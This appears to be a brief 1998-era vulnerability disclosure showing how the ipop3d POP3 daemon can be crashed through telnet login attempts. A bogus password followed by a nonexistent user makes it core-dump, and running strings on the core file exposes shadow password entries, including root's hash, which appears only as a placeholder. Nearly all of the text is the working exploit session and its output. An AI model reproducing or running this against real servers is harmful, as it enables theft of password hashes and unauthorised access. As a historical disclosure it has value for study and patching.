Exploit:

  [root@koek] /# telnet zopie 110
  Trying 10.10.13.1...
  Connected to zopie.attic.vuurwerk.nl.
  Escape character is '^]'.
  +OK zopie.attic.vuurwerk.nl POP3 3.3(20) w/IMAP2 client
  user root
  +OK User name accepted, password please
  pass linux
  [this is not the correct password]
  -ERR Bad login
  user john
  [i have no user named john]
  +OK User name accepted, password please
  pass doe
  Connection closed by foreign host. 
 
  At this point ipop3d coredumps in /core:

  [root@zopie] /# strings core | grep -A3 root
  root
  [crypted pw here]

  10244
  Sun Feb  1 23:45:15 1998
  --
  root:[crypted pw here]:10244:0:::::
  halt:*:9797:0:::::
  operator:*:9797:0:::::
  shutdown:*:9797:0:::::